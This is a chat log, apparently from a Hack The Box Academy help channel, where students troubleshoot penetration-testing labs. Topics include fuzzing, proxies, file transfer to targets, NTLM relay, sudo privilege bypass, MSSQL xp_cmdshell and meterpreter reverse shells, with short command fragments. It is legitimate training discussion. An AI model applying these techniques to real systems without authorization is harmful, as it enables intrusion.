modules

[safe star]

Finally someone else questioned this😭

It literally makes no sense unless it has 2 network interfaces

Which it didn’t

[sacred jacinth]

ok my bad, that was the first question. Im guessing something went wrong with the target and hence you got the flag.

and ill be honest with you it's definitely not the hardest question it's very straight forward

[reef pecan]

Highest rated then and kinda harder since I was writing shell script to prepare the script instead of doing that in ZAP.

[limpid hemlock]

??

[sacred jacinth]

God. They also taught you about burp brother why not use it?

[reef pecan]

Its the same purpose tool, I like ZAP's interface and open-source policy much better. I don't want to know too many tools, instead prefer to get god with one first.

[sacred jacinth]

Burpsuite encoder offers more encoding options then ZAP 😉

[tepid karma]

Bro wtf

[cloud dove]

How can I contact someone in authority?

[safe star]

the module has a whole page for one btw

[limpid hemlock]

That doesnt help this needs a lot more enumeration to sub directories

I see there is not targeti.p/cgi directory when we fuzz for it but when we fuzz for a bat file like targeti.p/cgi/*.bat i find one file i dont knw why that is like that since initialy simply targeti.p/cgi returns nothing like it doesnt exist

[safe star]

it gives a 404, but its still worth to fuzz anything in the cgi directory if you know its vulnerable to something

im pretty sure they can give a 404 on any page they like even if it exist

[barren frigate]

Can somebody Please help me regarding burpsuite I'm facing an issue

[safe star]

just ask it

[limpid hemlock]

Ya but when we fuzz THE directories to see what all exists by using ffuf target i.p/FUZZ we dont get a targeti.p/cgi directory

So we will think it doesnt exist right so then how will someone know to fuzz for a bat file like ffuf targeti.p/cgi/*.bat

[barren frigate]

While proxy is on in Burp Suite, when I request to the web, it doesn't give a response

When i disable foxyproxy extension everything works fine

[safe star]

because it has the exact version for a certain exploit

theres nothing more to it tbh

[barren frigate]

Same issue on tryhackme Attackbox + VM

[real delta]

we don't help with THM here

[midnight galleon]

You Don't get the captured request?

[safe star]

isnt that the point?

[midnight galleon]

Or the website just lags?

[barren frigate]

I do but web just got stucked on browser

[safe star]

u have to foward the request or stop the proxy

[midnight galleon]

Did you look at burpsuite when the website gets stuck?

So the idea behind burpsuite is that it captures the request to the website you enter in the url so that you can see/modify it before sending it, and when you are ready to send it, you press forward to let it go

[barren frigate]

Okayy now i got it thanks alot actually I'm beginner

[midnight galleon]

It's like you are a police officer in the street and you stop someone to inspect their car and then let them go when you are done

[barren frigate]

Hahahaha this really help me alot to understand thank you so much

[tender nimbus]

Hey huys i neeed help, do i need to do that in burpsuit itself? or in my browser ?

im a little bit stuck ^^

[safe star]

it says in browser

what module is that?

thought they used foxy proxy for that

[tender nimbus]

payloads and shelss

im restarting my vm give me a sec

[tender nimbus]

how can i do that i never did this kind of thing ^^

is it not that in burp suite?

[safe star]

do you have foxyproxy?

its not in burp

[tender nimbus]

nope

[safe star]

its in firefox

go to firefox setting then search network

[proper oar]

in the SCCM module in the AD path, SCCMhunter is not printing all of the expected output. The pivot is functioning, the nmap scan displays services as expected in the internal network. Not sure if this is just me or not. It returns "connection failed" in the table for the SiteCodes.

[midnight galleon]

If you are on Firefox go to settings and search " proxy "

Or just use foxy proxy like everyone

[vivid sigil]

i have Q about Filetransfare module

for exmaple this:

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

the url from my host or taget host ?

[midnight galleon]

This is downloading from the Internet

However if you want to copy the script from your attack box into the target box ( for example the target host doesn't have Internet interface)
Then in your attack box you spin a python server in the directory of the thing you want to transfer
And then go to the target and do
Curl -o /path/to/save/file.extension http://your_ip:python_server_port/path/to/file.extension

[tender nimbus]

never used those kind of things for the moment but i found my way ^^

[vivid sigil]

in they examples they used https so when i use http or https ,thanks anyway

[junior crater]

Hey guys! I'm having some trouble with the nmap easy lab, even though I feel I have the answer. I did a -A -sV -T4 -Pn <IP> scan and I got the OS name. But for some reason it's still not taking it. Does anyone know if I'm missing anything?

[golden scroll]

Good day everyone. i noticed in the active directory module on the CPTS path i noticed that HTB consistently keeps calling inlanefreight.local(root-domain) and logisticsfreight.local (tree-root domain) as a cross forest trust in subsequent sections even though they are in the same forest which i think it is an intra forest. I think a cross forest trust deals with 2 root domains in different forest. Is there something I am missing

[golden scroll]

you can use this (sudo nmap <IP> -Pn -sS -v2 -n) to see what port is opened and use (ncat -nv <ip> 22) to grab the flag banner.

[junior crater]

I’ll try that, thank you!

[limber river]

lol

[limber river]

it's one word all lowercase

[junior crater]

Yeah I tried all of that, thank you though!

[dapper moth]

A cross forest trust deals with two domains in different forests.

You can find your information with PowerView's Get-ForestTrust:

TopLevelNames            : {FREIGHTLOGISTICS.LOCAL}
ExcludedTopLevelNames    : {}
TrustedDomainInformation : {FREIGHTLOGISTICS.LOCAL}
SourceName               : INLANEFREIGHT.LOCAL
TargetName               : FREIGHTLOGISTICS.LOCAL
TrustType                : Forest
TrustDirection           : Bidirectional```

You can also get the whole trust relationship information with Get-DomainTrustMapping

[golden scroll]

thanks. I will add it to my notes. however this relation isnt a cross forest trust right but rather intra-forest

[junior crater]

I was able to get the answer using sudo nmap <IP> -sV -F -D RND:5 and then checked the OS for port 22. Thank you for the help.

[cloud urchin]

is that the first module you completed?

The quality of the modules is really unmatched. I'm sure you're in for a lot more you'll enjoy.

[vale crow]

hey guys i need some help, im currently attempting to do the skill assessmnet for stack-based buffer overflows on windows x86 and I am not 100% sure how to get the assessment.zip onto the rdp machine. I am using the pwnbox

[cloud urchin]

i like scp

[vale crow]

scp?

[cloud urchin]

yeah.

[vale crow]

please explain 🙂

[cloud urchin]

HTB says 1 day = 8 hours. don't listen to those though, some of those that were longer took me way less time than it said, and vice versa. it really depends on the person and how well they grasp the subject. you can take a lot longer than what it says too if you get stuck which will probably happen. just go at your own pace.

[vale crow]

the box doesnt have internet, would it still be able to access the http server?

[cloud urchin]

are you transferring from linux to windows or linux to linux

[vale crow]

its all being done through the instance that htb provides, i tried to go through my kali vm but the connection keeps getting dropped after I RDP'd into the vm

also after i RDP into the windows vm i cant see any part of my kali vm so idk how to move stuff from the kali vm to the windows i rdp into

[cloud urchin]

what RDP app are you using

[vale crow]

xfreerdp

[cloud urchin]

try adding /drive:/home/%user%/Desktop or whatever folder you want to the command, that will create a shared folder you can put files into

[vale crow]

so "xfreerdp /drive:/home/%user%/Desktop /u:htb-student /p:Academy_student! /v:x.x.x.x /f" ?

[cloud urchin]

yeah pretty much, it's just another xfreerdp parameter

[vale crow]

okay ill try that out thank you, and just so i dont goof this up, the %user% am i replacing that with my host username?

[cloud urchin]

yes, or replace the whole folder path with any other path you want to mount

that was just an example

[vale crow]

okay thanks again! ill try it out ad let you know if it worked for me

guys its not liking any of those commands

[sick whale]

What did you try Trippy?

[vale crow]

xfreerdp /u:htb-student /p:Academy_student! /v:10.129.47.198 /cert-ignore \ /drive:C:\Users\htb-student,/D:\Downloads/dynamic-resolution/floatbar:sticky:on,default:visible,show:always

xfreerdp /u:htb-student /p:Academy_student! /v:10.129.47.198 /cert-ignore \ /drive:C:\Users\htb-student\home\parrot\Downloads /dynamic-resolution/floatbar:sticky:on,default:visible,show:always

xfreerdp /drive:D:\Downloads /u:htb-student /p:Academy_student! /v:10.129.47.198

xfreerdp /u:htb-student /p:Academy_student! /v:10.129.47.198 /drive:D:\Downloads /f

[cloud urchin]

you don't use the drive of the remote computer

you're sharing from the computer you're using the xfreerdp command

[vale crow]

in that case wouldnt this command work? "xfreerdp /u:htb-student /p:Academy_student! /v:10.129.47.198 /cert-ignore \ /drive:C:\Users\htb-student\home\parrot\Downloads /dynamic-resolution/floatbar:sticky:on,default:visible,show:always"

[cloud urchin]

before typing xfreerdp type pwd, then use that path.

linux doesn't use c: or d:

[vale crow]

okay so i did that and now im RDP'd into the windows vm, how do i get that .zip file in there now?

[cloud urchin]

go to file explorer then my computer

[vale crow]

i dont have an option for my computer

okay so im assuming that drive at the bottom is for the instances parrot OS, i cant get the zip file in there either, even if i try to log into htb through the parrot vm it thinks im a bot so i cant log in

if i try to drag and drop the zip from host to parrot it gets blocked

[cloud urchin]

well yeah

using your own vm is a lot easier, you can transfer files from your host to your vm, and from the vm to the target

i didn't realize you were trying to transfer things to the pwnbox from your computer

[vale crow]

i would love to use my own vm, but it keeps dropping connection after 5 minutes

[cloud urchin]

you could not use the pwnbox and connect your windows machine to the vpn and rdp in that way probably

you didn't have the pwnbox active at the same time as your vm did you?

[vale crow]

mmmmmm i probably did tbh

lemme try with the instance off

[cloud urchin]

yeah that was probably the cause of your connectivity issues then, the pwnbox uses the same ip as your vpn would use

[vale crow]

ahh i got it moved over, im gonna try this! thanks so much man

[river marsh]

when sending a curl request is there a way to not get the body to print?

[cloud urchin]

you can output it to a file with -o

[safe star]

wdym

do you just want the headers?

[river marsh]

like if i run -v to get more verbose but dont want my terminal to get filled with the returned html and have to scroll up

[safe star]

i dont think thats really possible unless you grep for certain things

do u just want it not on ur terminal or in a file like supernuts said

[opaque stump]

Hey guys i am new to this channel , i need a small hint on AD skill assessment part 2 , question i am stuck on locate a configuratiom file containing mssql connection string? I only need small nudge. Thanks

[limber river]

you may need to solve the next question , before solving this

[frosty ferry]

Guys just a random question how long did it take you guys to complete cpts path (penetration tester path)

[limber river]

you should find a way to gain more control in this machine

[limber river]

depends on your skills/knowledge , time you invest ....

[opaque stump]

Let me check thanks 😊

[frosty ferry]

How long did it take you?

[limber river]

around 3-4 months , but I was giving it a lot of time

[sick whale]

I am 3 months in, I alternate between doing modules and doing machines (easy ones to start with) and I'm about 40% in

A few hours a day

[frosty ferry]

How many hours in a day?

[limber river]

sometimes 12+ , sometimes 4-5 depends on my mod

[frosty ferry]

Oh

And when did you start doing boxes?

[safe star]

90% done in almost 2 months now, but some background helped

[frosty ferry]

Like after the path or mid path

[frosty ferry]

Some background as in?

[limber river]

but sometimes I wasted times overthinking stuff or not understanding the sections

[safe star]

ejpt and pjpt but mostly pjpt helped

didnt learn much from ejpt

[opaque stump]

So I ||logged in as user through Impacked-mssqlcient , I enumerate all the databases but did not get anything , I also try to enable xp_cmdshell but I dont have enough rights to run cmd command , so what should I do next ||

[limber river]

and about the 4 months , I also did some extra modules not inlcuded in path

[limber river]

||you sure you don't have enough perms to run xp_cmdshell||

[safe star]

did you login as the right user?

[frosty ferry]

Which modules?

[opaque stump]

the|| user is br086||

[safe star]

dont think so

[limber river]

some CBBH and the buffer overflow modules and the haschat module

[frosty ferry]

Oh

I am currently in infosec path and man it took me 3 weeks to complete the linux fundamentals

[safe star]

did you find the config file?

[opaque stump]

I enumerated the four databases but did not find anything or miss something I guess

[safe star]

enumerate everything again once u gain access to another user

[limber river]

it's totally okay

[opaque stump]

which user I only got two users now with passwords

[safe star]

try looking at smb

snaffler is also a useful tool

[opaque stump]

I ran snaffler but did not get anything

[safe star]

for both users?

[opaque stump]

nooooooooo

so we have run for both users ?

yeah becuase they both have different rights

[safe star]

enumeration is an iterative process

[limber river]

you should find another user using this

[opaque stump]

got it

[hard matrix]

refer back to the sql database enumeration notes from previous modules

i just did this, so feel free to dm for some nudges

[opaque stump]

I forgot this like whenever we find a new user , we have to enumerate again becuase this user may be have more rights

[limber river]

he was missing a step

[hard matrix]

ah thought he was already logged in with the cred file

[opaque stump]

I got it thank you , I thought snaffler works like responder I did not know it run with different user context it like how we enumerate smb shares

[opaque stump]

Thank you!!!

[hard matrix]

the hint for that step is useful :^)

[opaque stump]

I thought they were saying that for sql user like I cant execute command cmd commands but I can read the databases 😦

[reef pecan]

I know. Not sure if it has means to save the FUZZer? In Zap, I always had to set up the fuzzer anew from scratch which is why I see some advantage in encoding in fishscript, so my list doesn't need to be processed any further and is ready.

[proper oar]

anyone else having the proxy time out on the SCCM module - SCCM Site Takeover 1 exercise? Can't get it to connect over mssql + proxychains despite having successful pivot tunnel still active, socks proxy session as SCCM01$ to the target mssql://172.50.0.30, I increased timeouts in proxychains4.conf, double checked the ports and IPs, PetitPotam is successful, the relay is successful - but the mssql session will not open. Used root / sudo shell as it mentioned, not sure what the issue is and I've now rebuilt the setup three times with the same result.

[full wagon]

No one experience this?? Everything just magically works for you? I really need to figure out why its so slow, and why it constantly just hangs, but not sure what is wrong. Would really appreciate some advice on best practices to make the setup with HTB work. I use my own Kali VM on virtualbox, and have resetted, swithced regions, re-downloaded vpn pack a number of times...

[normal sand]

Module: Linux Privilege Escalation
Section: Polkit
Link to section: https://academy.hackthebox.com/module/51/section/1591

Which versions of polkit are vulnerable? And is there a way to check or do I just have to run the poc to find out?

[safe star]

think you just have to run it

couldnt find a version anywhere

[hoary depot]

Hey Seus Crissed! that's like forever in computeryears 👩‍🦽

[fiery berry]

You can read the security advisory (Ubuntu is an example) to find out which version is vulnerable and from which version has been patched.
https://ubuntu.com/security/notices/USN-5252-1

[lapis pulsar]

im on the same, did you change RPORT to the one HTB gave you? and did you need to change the FILEPATH?

im only getting

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

[safe star]

restart the machine and change the rport,rhost, and filepath

[lapis pulsar]

i restarted the machine, Changed the rport and rhost to the one from htb. Tried diffrent filepath (both standard, to /flag.txt and /) but i still get same output

  Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      6                yes       Traversal Depth (to reach the root folder)
   FILEPATH   /flag.txt        yes       The path to the file to read
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     83.136.255.217   yes       The target host(s), see 
                                         /basics/using-metasploit.html
   RPORT      35722            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

[safe star]

are you able to open the ip in firefox?

just tested it

[lapis pulsar]

yeah

[safe star]

try restarting one more time 😭

if that doesnt work you might have to change vpns

[lapis pulsar]

tried again didnt work... lets try that too

i now tried to do it in the pawnbox and it worked somehow...

[lunar lily]

Hi,
Yes it requires to set the rhosts, rport and filepath to give the proper target for the exploit. It's great if you managed on your own from the pawnbox. Maybe an issue with the VPN?

[lapis pulsar]

Thanks for the help, yes its very likely the vpn thats causing the error or my kali vm. Everything worked as expected except the exploit so i thought i was the wrong one all along 😭 😂

[lunar lily]

Yes when starting to learn it's kinda hard to figure out whether exploits don't work or we don't use it correctly

So on the Pawnboxn does it also save the flag.txt on a hidden folder of your attacking machine?

[indigo merlin]

Not sure if this is where I post this question if not I'm sorry, but can anyone help me with this and care to explain it? I'm on module 19 section 102. The question I'm stuck on is "Enumerate the hostname of your target and submit it as the answer. (case-sensitive)"

[dim wolf]

include module name, section name, any solutions you've attempted, etc.

so that others can help you easier

[indigo merlin]

Oh I'm sorry its "Network Enumeration With Nma" "Host and Port Scanning"

with Nmap*

I would run sudo nmap the IP -sS -p-

[jolly yacht]

Hey, is it recommended to do the Documenting and Reporting Module after the Penetration Testing Process Module in the Penetration Testing job role path? because in the "Penetration Testing Process Module/Practice Section" the author mentioned to take minor technical and non technical documentation of each module to learn efficiently but to know how to take those documentation we should complete the Documentation and reporting module right?

[dim wolf]

it's recommended to take the modules in the path in order

the skills assessment for that module requires knowledge acquired from previous modules

it's also focused on documenting during a penetration test rather than general documentation

[uncut linden]

Hi I am going though Active Directory MOdule and I am a bit lost on why do we need autnentication via LDAP when we already have Kerberos ? can someone please guide

[jolly yacht]

okay, i thought if i can able to know about how to perform this step 6 and 7 documentation stuff from the Documentation and Reporting Module module before continuing so I can complete those Tasks while doing each Module's in the path and learn efficiently. Thank you.

[next bronze]

they're two different protocols/services, ldap doesn't handle authentication, kerberos does

[jolly yacht]

ig Since the protocol provides different purpose and in the LDAP there is also Simple Authentication which does not involve the Kerberos (which comes under SASL Authentication) as you can read from the AD LDAP Authentication in that corresponding Module section(Kerberos, DNS, LDAP, MSRPC).

[uncut linden]

Ok..so in SASL..user gets authenticated using Kerberos…and then requests via TGS to access LDAP server…LDAP server then uses challenge/response with the user to authorize it and once authorized the user can access the information in AD like users/groups/printers etc via LDAP…

Is this correct process…if not can you share what’s the correct flow

[iron lintel]

@rustic sage selem me3lekoem bro

Add me got some questions for you

[next bronze]

pretty much

technically sasl supports gssapi which is used to interface with kerberos

https://medium.com/@oviraj71/sasl-authentication-plain-scram-kerberos-gssapi-in-kafka-0b06b2fc3644

[jolly yacht]

@next bronze any insights from your side about this please?

[uncut linden]

thanks a ton !

[next bronze]

not too sure what you're asking... you want to write reports for the other modules in the path?

[jolly yacht]

About the Technical documentation and non technical documentation for each module as like mentioned in the Penetration Testing Process Module's Practice section which you can see in that screen shot below that message.

[next bronze]

just do the modules and take notes in your own style based on what works for you, that is just a suggestion

[jolly yacht]

okay, Thank you. I thought if i followed those steps/Task mentioned in that section I could learn More effectively.

[next bronze]

it could, but how everyone learn is different, do what works for you

[jolly yacht]

ig after completing the Kerberos authentication and successfully getting access to LDAP server by TGS the challenge/response NTLM authentication will not occur since there is no need.

[uncut linden]

Ok 👌 thnx !!

[rich light]

Hey, I am doing the NTLM Cross-protocol Relay Attacks part of the NTLM relay attacks module. In the fourth exercise we are supposed to see NTLM authentication attempts from NPORTS over HTTP to relay to LDAP(S), but when I run Responder with all options set to ON I only see SMB authentication coming in.

Running python3 Responder/Responder.py -I ens192 -wPdv with everything in Responder.conf set to ON just to see the authentication attempt coming in

As root of course 🙂

[next bronze]

just tried it an it worked for me, you don' thave to use any flags for responder

[rich light]

Might have to reset then

[next bronze]

tested on EU3

[rich light]

Thanks. I'll pivot 😆

[rich light]

Thanks, On EU3 I see different auths coming in!

[next bronze]

[safe robin]

someone help i got tired of this even the easy lab

[storm elk]

thats not how it works @safe robin

You'll have to get to the answer yourself

Also - when asking for help - add which module/section you are working on

[shell ore]

try harder and get it worth it mate not like this 😄

[storm elk]

With a screenshot, we don't know anything

[safe robin]

i did i been doing it i used -d then source port 53 but cant able to get

its nmap Firewall and IDS/IPS Evasion - Easy Lab

look 2h of machine lifetime and i'm struggling with one question of easy lab

[storm elk]

Are you working with pwnbox or via your vm?

[shell ore]

relax, take a quick break then come back and start from zero, you maybe overthinking it OR something is laggy with the lab and u need to reset or smth

[safe robin]

pwnbox

[safe robin]

maybe

[shell ore]

lemme try rq since u mentioned the module

[safe robin]

sure

[storm elk]

thanks @shell ore

[shell ore]

no worries! 😄

@safe robin mate tell me what ur trying to do

[shell ore]

also, should we take this for DMs is it better? to avoid spoiling for others or?

[safe robin]

trying to find OS without alerting the administrator

[storm elk]

Best to dm, since its a tier1 and you'd spoil 😉

[shell ore]

ok DM me

[shell ore]

got it

[strange forge]

in the port forwarding with netsh. i got the file and 3 names in it. unable to understand the format of the answer

[sick whale]

First name last name with a space

Like "john doe"

not case sensitive, so could write JoHn DOe (but why would you)

(PS: john doe is obviously not the answer, take the name you found in the file 🙂 )

[strange forge]

there are 3 names.

[sick whale]

From my memories, only one is a person's name

Ok, given his last name is funny. But the answer is there.
Worse case try all three. Make sure if you copy paste that there are no space AFTER (trailing spaces)

[tender nimbus]

Hey guys im doing the skills engagement of the shell and apyload module, do you know how what i need to use here to go on the internet?

[earnest pasture]

You can use Firefox by opening it from the console

[somber fiber]

flexing in there own environment lol

[silent sleet]

Anyone else notice the MSSQL, Exchange, and SCCM Attacks Skill Assessment box is very slow?

[proper oar]

anything on this? I have set it up again with the same result: "ConnectionRefusedError: [Errno 11] Connection refused"
I checked the tunnel, still active with rdp box open and agent still connected

forgot to add this in as well, sorry

[slate halo]

Hello, I need a nudge about Linux Privilege Escalation Sudo. Im in the root directory and see the flag.txt but when I cat it shows information about directories and not the actual flag.

[proven raft]

hey guys, I've been researching a way to escape restricted shells, but couldn't find a useful resource until now.

here is the output i get: ~$ ls
*** forbidden command: ls

[silent sleet]

try sudo with proxychains when connecting to the socks connection

[proper oar]

it's a root shell

[silent sleet]

you using the DEV version of impacket?

yeah I think thats your problem, you need to be using the DEV release to make mssqlclient.py work

[proper oar]

I tried with the pre-installed one on the pwnbox, as well as cloning the repo they have in the guide

[next bronze]

that's just straight up connection refused though

try with -debug

[slate halo]

pls help

[silent sleet]

go to impackets github and install the DEV version. I am pretty sure I had your same issue last week and this solved it.

[next bronze]

also this is not installed, impacket is still calling the older libraries

[slate halo]

Hello, I need a nudge about Linux Privilege Escalation Sudo. Im in the root directory and see the flag.txt but when I cat it shows information about directories and not the actual flag.

[next bronze]

providing the error would be helpful

[slate halo]

[1,1,{"progname":"ncdu","progver":"1.14.1","timestamp":1727277461},
[{"name":"/root","asize":4096,"dsize":4096,"dev":64768,"ino":8194},
{"name":".viminfo","asize":8295,"dsize":12288,"ino":431},
{"name":".bashrc","asize":3106,"dsize":4096,"ino":276},
{"name":"flag.txt","ino":1789},

[next bronze]

doesn't seem like you're in a real shell

what's the command and what steps did you do

[slate halo]

im did the Sudo Policy Bypass

sudo -u#-1 /bin/ncdu

found the flag and then cat

[kind jackal]

hello all, i am trying to understand how to put the command in for HTB vpn i have read this but dont understand how to type it in the VM for it to generate a web broswer Connecting Using VPN
KingKevin@htb[/htb]$ sudo openvpn user.ovpn

[next bronze]

did you check gtfobins?

[slate halo]

also used this command LFILE=file_to_read
cat "$LFILE"

[next bronze]

yes but did you check gtfobins

[proper oar]

Using the dev branch. Also, I pasted the cmds for cloning the repo from the section; it should be a venv, looks like it is calling the libraries from where I downloaded it? (/Downloads/PetitPotam/impacket/.impacket)

[next bronze]

following the steps there worked for me

[next bronze]

ah ok so you installed with pip, then you have to check the network connection, use -debug if not wireshark

[proper oar]

-debug gives basically the same output 😦

[next bronze]

your proxychains is timing out

[proper oar]

I tried increasing the timeout on the proxychains conf but no luck

[next bronze]

is 9050 the correct port

[slate halo]

it worked just had to reset the machine

[proper oar]

they match

[next bronze]

are you sure

does ntlmrelay use socks4 or 5

[proper oar]

wait maybe I need to open a new shell 😮

[proper oar]

so proxychains.conf has 1080 set for 127.0.0.1 socks4 and socks5, tried with each individually first. ntlmrelayx socks proxy is listening on 127.0.0.1 1080. but for some reason proxychains is still calling 9050 ? Not sure how to adjust this if the conf is updated; I tried in a new shell and same result - the relay is still active

[next bronze]

send a screenshot of the config file

[proper oar]

okay so first mistake was it was calling proxychains.conf and not proxychains4.conf - adjusted that now.

Resolved: it worked with socks5 and editing proxychains.conf, not proxychains4.conf

[full stratus]

I have installed VMware and parrot. When i try to boot grub with my passphrase. I can only press enter which naturally gives me the wrong password, i can not write a single letter. If i press enter, then all of a sudden i can write but then it's just prompts. What to do?

[soft reef]

Is it possible I need an older sharphound version because bloodhound is not unzipping or processing the uploaded .zip file?

[next bronze]

if you're using the older version i.e the non docker version, yes

[soft reef]

Bloodhound v 4.3.1

[next bronze]

yep

sharphound will show the minimum version needed when you run it

[soft reef]

Ok thanks

[grand jetty]

hello everyone, i am pretty much stuck at finding a flag under public exploit (Pentesting Basics under Getting Started section), tried running all the exploits found on metasploit but no session is getting created, please advice

[forest gust]

https://academy.hackthebox.com/module/162/section/1572
I need a push on where to start I went through all the files in Obsidian. And it seems to me that I should find the password and login to log in on the WH website. But I couldn't find it in the files.

[next bronze]

the creds are the same as rdp

[next bronze]

go to that ip and port in your browser

[rustic sage]

Hey, kind of a stupid question a lil' bit but are these certifications good to put on a resume?

[limpid hemlock]

Hey im doing skill assesment 2 of attacking common applications anyone know how to find th fdqn of a vhost ??

[tender nimbus]

Hey guys i need help on the shell an payload module,

i uploaded a webshell but i dont know where i can find it

[safe star]

it should be right in ur face

[tender nimbus]

wdym?

[safe star]

thats the only way to get the login

sometimes you just have to guess what might be the login using context

[safe star]

you dont see a page of backups?

[tender nimbus]

not really ^^

[limpid hemlock]

Hey im doing skill assesment 2 of attacking common applications anyone know how to find th fdqn of a vhost ??

[safe star]

dm a screenshot of the page

[limpid hemlock]

Any help?

[surreal orchid]

Hello, sorry to interrupt but Active Directory Enumeration & Attacks >>> Attacking Domain Trusts - Child -> Parent Trusts - from Linux
looks like not working..
Starting the host and trying to connect with ssh return "Connection refused" and nmap doesn't reveal any 22/tcp open 😦

[hexed lintel]

can you ping the ip?

check you vpn connection

[safe star]

did u look for vhosts?

[hard matrix]

did you just start the vm? takes a second to be fully online

[surreal orchid]

Waited like 10min, didn't work, restarted the VM and waited 10 min again 😦 still doesn't work

[hexed lintel]

try changing the vpn server and re download the vpn file

[hard matrix]

would also recommend double checking you're using the right creds for ssh

across a few of the ad modules the password you expect to use to login changes

ran into that myself

[safe robin]

stuck with this in Firewall and IDS/IPS Evasion - Medium Lab module

[sacred jacinth]

Have you tried all of the possible nmap techniques that the module covered?

[safe robin]

Yes, I have

and tried searching this but cant

maybe i need yo retake this module😭😭

[sacred jacinth]

you don't need to retake the module, you just need to go through the scan types again

[safe robin]

are u sure cause even the easy one was difficult for me and i took help from acaard

[sacred jacinth]

well the module has a cheat sheet with Scanning Options section, go through it and try individual scan types. Do you know what nmap is and what its functionalities are? Not being able to do skill assessment simply means you are overlooking something or just giving up easily. Going through the module again? If you are certain you haven't learned anything then sure.

[safe robin]

maybe I'm tired a little

I'll try again I'm not giving up easily i need to go through scan types and more specificly learn about packets

these ids/ips bypass is kweel stuff but its hard too😂🤌🤌

[safe star]

Maybe it’s for another user🥸

[sacred jacinth]

could be take frequent breaks.

[sacred jacinth]

just take a look at the cheat sheet and try them all out individually.

[safe robin]

yeah i can do that but i wanna.knw why certain thing happended

[old dome]

hello just joined

[safe robin]

yeah need a break i guess

[sacred jacinth]

well its solution was also confusing for me, but it worked

[old dome]

why can i not talk in the general section??

[sacred jacinth]

#welcome

[limpid hemlock]

I tried a command with ffuf but it failes

[sacred jacinth]

dm me

[safe star]

Every windows machine has a certain built-in user

[sacred jacinth]

this hint should also suffice

[full wagon]

Not sure what I'm missing here. Should be basic, but get stuck. Metasploit module 39, section 415 (it's he third question where an old sudo version should be abused - the module that is named Sessions). I have || tried several exploits for the vulnerable sudo version, including a bash one (that requires password for current user which I don't have), a python exploit that failed, and a c exploit that I could not compile on the target, and that failed when compiling on attack machine ||. What am I missing?

[safe star]

Wym fails?like errors?

[hexed lintel]

no spoilers please.

[quick laurel]

You’re right sorry got carried away by frustration

[hexed lintel]

remove your chat

[safe star]

Have you tried other file formats?

[sacred jacinth]

tried straight up searching for the exploit with the sudo version inside metasploit?

[full wagon]

Ah actually not... I'll do that, thank you!

[limpid hemlock]

It just hangs i enterd smthg wrong propably dnt knw what

[safe star]

@quick laurel try looking at limited file uploads section

[sacred jacinth]

no worries!

[safe star]

U didnt even close the quotes at the end

Did you find the first question?

[limpid hemlock]

Yes

[quick laurel]

I’ll do that, thank you

[quick laurel]

Done 👍

[safe star]

I found it no problem

Did u add the vhost correctly?

[full wagon]

Thanks a lot, suspected that I totally missed something obvious. Shouldn't try to cross the bridge for water... 😅

[sacred jacinth]

heh dw I know how it feels, no worries.

[limpid hemlock]

That part is where im kinda confused adding the vhost part

[safe star]

Just add it to your /etc/hosts with the ip

Just like in the previous sections

[limpid hemlock]

It should be ip inlanefreight.local

Right

[safe star]

Yes

[limpid hemlock]

I put a .inlanefreight.local

Maybe that might have errored dont knw

[safe star]

U got it?

U also should’ve been able to find the vhost without ffuf

[river marsh]

if im using curl and it doesnt work if the url doesnt include the www. does that just mean the name server doesnt contain the url without the www. or is something else going on?

[rugged turtle]

Hi guys, I'm trying to perform a port forwarding within meterpreter in the module: Meterpreter Tunneling & Port Forwarding

However, anytime I try to execute the payload built with msfvenom I get a Segmentation Fault error.
I've done chmod +x on the file, i've started the handler and it simply gets closed due to this failure. Has anybody experience that ?

[sick whale]

You created the payload for the right arch ?

That could explain a segfault

[limpid hemlock]

Yup got everything now trying to solve the last question to obtain reverse shell

[rugged turtle]

Alright, then I suppose I was doubting properly. I'll check it out

[shut vapor]

Yes except the terminology you're using is a little off. It means there's a "www" DNS record for sure. Each record, like "www", can point somewhere different.

[sick whale]

Where and how are you executing that payload?

[rugged turtle]

I'm executing it on the pivot, pointing to my vm. The handler is ran pointing to 0.0.0.0. (actually I've pointed it to my tun0 at first, then thinking I was mistaken I pointed it to 0.0.0.0 after reviewing the chapter)

[sick whale]

Ok so depending on Pivot arch (windows or unix) you might have created the payload with the wrong option.
If address was wrong, you'd just get a connection timed out or just nothing. Not a segfault.

If that's not the issue, check that your metasploit is up to date I guess...
But then maybe people more qualified than me can help

[shut vapor]

When a domain is pointed to an address without any record it's often referred to as a "naked domain". In your scenario there is no assignment (or just no web server at that address), just "www".

[safe star]

Is this a bind or reverse shell?

[rugged turtle]

reverse

but at the same time, I'm not properly grasping why msfvenom is saying that

[safe star]

Is that the internal ip of the pivot host?

[rugged turtle]

hmmm, shouldn't it be my own machine?

[safe star]

It goes to the internal Target-> internal pivot-host ip -> our machine

Shouldn’t you be executing that on the target?

[sick whale]

What @safe star said ☝️

[rugged turtle]

Trying to figure it out, because actually I needed to ping sweep from the pivot to the internal target.
Thus, I thought about (not sure whether it's strictly required or not because I suppose you can already ping sweep it freely from the pivot) having a reverse shell from the pivot to my machine and perform a ping / nmap scan from my attack host to the internal target

[safe star]

U can get a metepreter session using ssh login

[rugged turtle]

Yea, I guess I'm getting a bit confused by all those techniques 😄
In this scenario, I thought about crafting a payload and reversing it to my machine.
At the same time, I guess I could also try with netcat

might be easier

[safe star]

It would be a lot better to just ssh in

[rugged turtle]

yea, mine was mostly practicing, I was wondering why I couldn't achieve it, especially for the error returned above by msfvenom

[sick whale]

Yup, much easier.
Or maybe just ssh -D for dynamic port forward and then ping sweep from your machine... That should work too @safe star right? (confirming since I remember being kinda confused too when I did this haha)

[safe star]

Yeah but this meterpreter, so I was suggesting use to the ssh_login module to get a meterpeter session that way

[sick whale]

Yeah of course 🙂 Just wanted to make sure I wasn't spewing an incorrect solution :p Thanks!

[rugged turtle]

Thank you guys 🙂 appreciate the tips!

damn, I think I got what I've forgot

I'm gonna try one last thing and let you know, just FYI 😄

[safe star]

actually im not sure about a ping sweep from our machine because it only accepts tcp connections

so you would need to do a sweep from the pivot host first

[rugged turtle]

aight, I completely forgot to change my msfconsole payload 🥲

that was the reason why it wasn't working

